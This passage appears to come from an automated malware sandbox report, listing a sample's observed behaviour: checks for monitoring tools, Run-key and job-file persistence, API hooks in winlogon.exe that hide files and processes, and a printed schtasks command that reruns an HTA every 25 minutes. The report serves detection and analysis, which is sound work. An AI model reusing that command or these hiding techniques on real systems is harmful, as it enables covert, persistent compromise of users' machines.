Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Window searched: window name: Regmonclass
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn 9FPCwmaAQCo /tr "mshta C:\Users\user\AppData\Local\Temp\yH08AR1uj.hta" /sc minute /mo 25 /ru "user" /f
Creates job files (autostart)
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run df1dfa8044.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run df1dfa8044.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d04aa34f51.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d04aa34f51.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e65eefc791.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e65eefc791.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 22a0986bef.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 22a0986bef.exe

Hooking and other Techniques for Hiding and Protection
barindex
Hooks files or directories query functions (used to hide files and directories)
Source: winlogon.exe IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile
Hooks processes query functions (used to hide processes)
Source: winlogon.exe IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation
Hooks registry keys query functions (used to hide registry keys)
Source: winlogon.exe IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey
Modifies the prolog of user mode functions (user mode inline hooks)
Source: winlogon.exe User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0044F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput, 0_2_0044F98E
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004C1C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed, 0_2_004C1C41
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
